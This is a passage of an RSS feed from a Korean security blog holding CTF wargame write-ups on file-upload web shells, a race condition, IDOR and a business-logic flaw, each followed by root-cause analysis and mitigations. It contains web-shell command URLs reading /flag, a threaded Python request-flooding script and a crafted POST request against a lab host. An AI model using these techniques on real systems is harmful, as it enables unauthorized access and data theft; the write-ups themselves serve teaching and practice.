&lt;li&gt;웹셸을 이용하여 &lt;b&gt;플래그 파일 경로&lt;/b&gt; 탐색:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;a href=&quot;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=find%20/%20-name%20flag*&quot;&gt;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=find%20/%20-name%20flag*&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/flag 파일과 다른 관련 파일 경로를 확인:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;/flag /var/www/html/flag /sys/devices/platform/serial8250/tty/ttyS*/flags&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 플래그 파일 읽기&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹셸을 이용해 /flag 파일의 내용을 읽음:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;a href=&quot;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=cat%20/flag&quot;&gt;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=cat%20/flag&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/flag 파일 내용 출력:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;K0{Y0u_Up10aded_4_Web5he11!!!}&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;파일 업로드 검증 부족&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 업로드된 파일의 확장자 및 내용을 제대로 검증하지 않음.&lt;/li&gt;
&lt;li&gt;PHP와 같은 실행 가능한 파일 업로드 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경로 접근 제어 미비&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일이 실행 가능하며, 서버의 민감한 경로에 접근 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령어 실행 허용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 파일에서 서버 명령어를 실행할 수 있는 system() 함수 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 파일 업로드 검증 강화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;화이트리스트&lt;/b&gt; 사용:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;허용된 파일 확장자만 업로드 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MIME 타입 검증&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일의 실제 MIME 타입을 확인하여 서버에서 실행할 수 없는 형식만 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 내용 검사&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 내용에 PHP 코드 등 실행 가능한 코드가 포함되지 않았는지 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 업로드된 파일 실행 방지&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일을 실행 가능한 디렉토리 외부에 저장:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 파일 디렉토리는 웹 서버에서 실행되지 않도록 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 서버 명령어 실행 제한&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 코드에서 system(), exec() 등 명령어 실행 관련 함수 비활성화.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/248</guid>
      <comments>https://noong2.tistory.com/248#entry248comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:32:07 +0900</pubDate>
    </item>
    <item>
      <title>12.3 Race condition</title>
      <link>https://noong2.tistory.com/247</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 정의&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask 기반 웹 애플리케이션에서 /increase 엔드포인트를 익스플로잇하여 &lt;b&gt;플래그 획득&lt;/b&gt;이 목표.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;카운터 시스템&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초기 카운터 값은 0으로 시작.&lt;/li&gt;
&lt;li&gt;/increase 요청마다 카운터가 1씩 증가.&lt;/li&gt;
&lt;li&gt;카운터가 &lt;b&gt;15 이상&lt;/b&gt;일 때 &lt;b&gt;플래그 반환&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 기법: 레이스 컨디션(Race Condition)&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;레이스 컨디션이란?&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동시성 문제가 발생하여 두 개 이상의 요청 또는 스레드가 &lt;b&gt;동일한 자원&lt;/b&gt;(예: 카운터 변수)에 동시에 접근.&lt;/li&gt;
&lt;li&gt;요청 처리 간 &lt;b&gt;락(Lock)&lt;/b&gt; 없이 동작할 경우, 변수 값이 예상과 다르게 처리되거나 비정상적으로 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;서버 동작&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;/increase 엔드포인트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카운터 값을 1 증가.&lt;/li&gt;
&lt;li&gt;0.1초 지연(sleep(0.1)) 후 값을 저장.&lt;/li&gt;
&lt;li&gt;카운터 값이 15 이상일 경우 플래그 반환.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;멀티스레드 환경&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여러 요청이 동시에 /increase로 들어오면, 0.1초 지연 중 다른 요청이 카운터에 접근 가능.&lt;/li&gt;
&lt;li&gt;이로 인해 한 번의 요청으로 카운터 값이 여러 번 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 실행 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 서버 분석&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/increase 엔드포인트는 글로벌 카운터 변수에 의존하며, 0.1초의 지연이 레이스 컨디션 유발 조건.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 익스플로잇 코드 작성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python의 &lt;b&gt;threading&lt;/b&gt; 모듈을 사용해 동시 다발적으로 요청.&lt;/li&gt;
&lt;li&gt;한 번에 16개의 요청을 보내어 레이스 컨디션 발생.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737519721521&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
from threading import Thread

# 서버 URL
url = &quot;http://war.knock-on.org:10015/increase&quot;

# 요청 함수
def send_request():
    response = requests.get(url)
    if &quot;Success&quot; in response.text:  # 플래그 반환 확인
        print(&quot;플래그 발견: &quot;, response.text)
    else:
        print(&quot;응답 확인: &quot;, response.text)

# 스레드 리스트
threads = []

# 16개의 스레드를 생성하여 동시 요청
for _ in range(16):
    thread = Thread(target=send_request)
    thread.start()
    threads.append(thread)

# 모든 스레드가 완료될 때까지 대기
for thread in threads:
    thread.join()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 플래그 획득&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;16개의 스레드 요청으로 레이스 컨디션 발생:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카운터 값이 한 번의 요청 주기 안에 여러 번 증가.&lt;/li&gt;
&lt;li&gt;예상보다 빠르게 카운터가 15 이상에 도달.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과적으로, 서버에서 플래그 반환:&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737519735526&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;alert alert-info&quot; role=&quot;alert&quot;&amp;gt; Success!! K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!} &amp;lt;/div&amp;gt;
플래그: K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;락(Lock) 미사용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 요청 간의 데이터 충돌을 방지하기 위한 락을 구현하지 않음.&lt;/li&gt;
&lt;li&gt;카운터 변수 접근이 동기화되지 않아 값이 비정상적으로 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지연 함수 사용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sleep(0.1) 함수는 데이터 충돌 가능성을 증가.&lt;/li&gt;
&lt;li&gt;요청이 처리되기 전 다른 요청이 카운터에 접근.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 데이터 동기화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;락(Lock) 메커니즘&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 처리 중 변수 접근을 제한.&lt;/li&gt;
&lt;li&gt;Flask에서는 threading.Lock을 사용하여 자원 보호 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 비동기 큐 사용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 데이터를 큐에 저장하고, 순차적으로 처리:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python에서는 &lt;b&gt;Redis&lt;/b&gt;나 &lt;b&gt;Celery&lt;/b&gt; 같은 큐 시스템 활용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 요청 처리 제한&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 간 시간 간격 조정:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 사용자가 과도한 요청을 보낼 경우 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;IP 기반의 &lt;b&gt;Rate Limiting&lt;/b&gt; 적용.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;과정 요약&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;/increase 엔드포인트의 레이스 컨디션 취약점 분석.&lt;/li&gt;
&lt;li&gt;Python &lt;b&gt;threading&lt;/b&gt; 모듈로 동시 다발적 요청 전송.&lt;/li&gt;
&lt;li&gt;카운터 값 비정상적 증가 유발 후 플래그 획득.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;플래그&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}&lt;/b&gt;&lt;/p&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/247</guid>
      <comments>https://noong2.tistory.com/247#entry247comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:22:39 +0900</pubDate>
    </item>
    <item>
      <title>12.2 IDOR</title>
      <link>https://noong2.tistory.com/246</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;IDOR란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Insecure Direct Object References (IDOR)&lt;/b&gt;는 웹 애플리케이션에서 발생하는 보안 취약점으로, 인증된 사용자가 다른 사용자의 데이터나 리소스에 접근할 수 있도록 허용하는 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 특징&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보통 &lt;b&gt;URL, 요청 파라미터, 또는 쿠키&lt;/b&gt;에 포함된 &lt;b&gt;식별자(ID)&lt;/b&gt; 값이 제대로 검증되지 않을 때 발생.&lt;/li&gt;
&lt;li&gt;사용자가 자신의 권한 범위를 벗어나 다른 사용자의 데이터를 열람하거나 조작 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 해결 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 회원가입 및 로그인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시작&lt;/b&gt;: 웹사이트에 회원가입 후 로그인.&lt;/li&gt;
&lt;li&gt;로그인 후 &lt;b&gt;개인 게시물만 확인 가능&lt;/b&gt;한 상태에서 취약점 여부를 조사.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 게시물 ID 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL 분석:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시물 접근 시 /post/{ID} 형태의 URL 사용:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/11 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이 구조는 ID 값이 다른 사용자의 게시물에 접근 가능하다는 가능성을 제시.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. IDOR 취약점 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;테스트&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL의 ID 값을 임의로 변경:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/12 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내가 작성하지 않은 다른 사용자의 게시물에 접근 가능.&lt;/li&gt;
&lt;li&gt;이는 서버가 사용자의 권한을 제대로 검증하지 않는다는 것을 의미.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 첫 번째 게시물 접근&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표&lt;/b&gt;: 플래그가 포함된 게시물 찾기.&lt;/li&gt;
&lt;li&gt;URL을 /post/1로 변경하여 첫 번째 게시물에 접근:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/1 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 게시물 본문에 플래그가 포함되어 있었음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;권한 검증 부족&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 요청을 처리할 때, 사용자가 해당 리소스에 접근할 권한이 있는지 확인하지 않음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;식별자 노출&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리소스에 대한 고유 ID가 클라이언트에게 직접 노출.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;서버 측 권한 검증&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청을 처리하기 전에 사용자가 해당 리소스에 접근할 권한이 있는지 확인.&lt;/li&gt;
&lt;li&gt;예: 게시물 소유자와 요청 사용자가 동일한지 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;식별자 보안 강화&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ID를 &lt;b&gt;예측 불가능한 값&lt;/b&gt;으로 대체:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UUID(Universally Unique Identifier) 또는 해시 값 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로깅 및 모니터링&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;의심스러운 요청 패턴(예: ID 순차 증가 요청)을 탐지하고 대응.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/246</guid>
      <comments>https://noong2.tistory.com/246#entry246comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:08:45 +0900</pubDate>
    </item>
    <item>
      <title>12.1 Business_logic_error</title>
      <link>https://noong2.tistory.com/245</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;목표&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 &lt;b&gt;비즈니스 로직 취약점&lt;/b&gt;을 이용하여 잔액을 조작하고, 고가의 플래그를 성공적으로 구매.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;애플리케이션 동작&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;상품 구매 기능&lt;/b&gt;: 사용자는 잔액 내에서만 상품 구매 가능.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플래그 가격&lt;/b&gt;: 플래그는 매우 높은 가격(예: 9,999,999원)으로 설정.&lt;/li&gt;
&lt;li&gt;기본적으로 제공된 잔액으로는 플래그 구매 불가.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;초기 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상적인 구매 시도:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잔액 부족 시 &lt;b&gt;구매 불가 메시지&lt;/b&gt; 출력.&lt;/li&gt;
&lt;li&gt;서버에서 잔액을 검증하는 로직 존재.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Burp Suite를 사용한 요청 가로채기&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;분석 대상&lt;/b&gt;: /store/{item} 경로로 전송되는 POST 요청.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;요청 내용&lt;/b&gt;:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;quantity&lt;/b&gt;: 구매 수량을 나타내며, 기본적으로 양수 값(예: 1)으로 설정.&lt;/li&gt;
&lt;li&gt;요청 차단 시, 서버는 잔액 부족을 이유로 구매를 거부.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737518140525&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /store/flag HTTP/1.1
Host: war.knock-on.org:10016
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

quantity=1&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 음수 값 사용을 통한 취약점 탐지&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;테스트&lt;/b&gt;: quantity 값을 음수로 설정:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
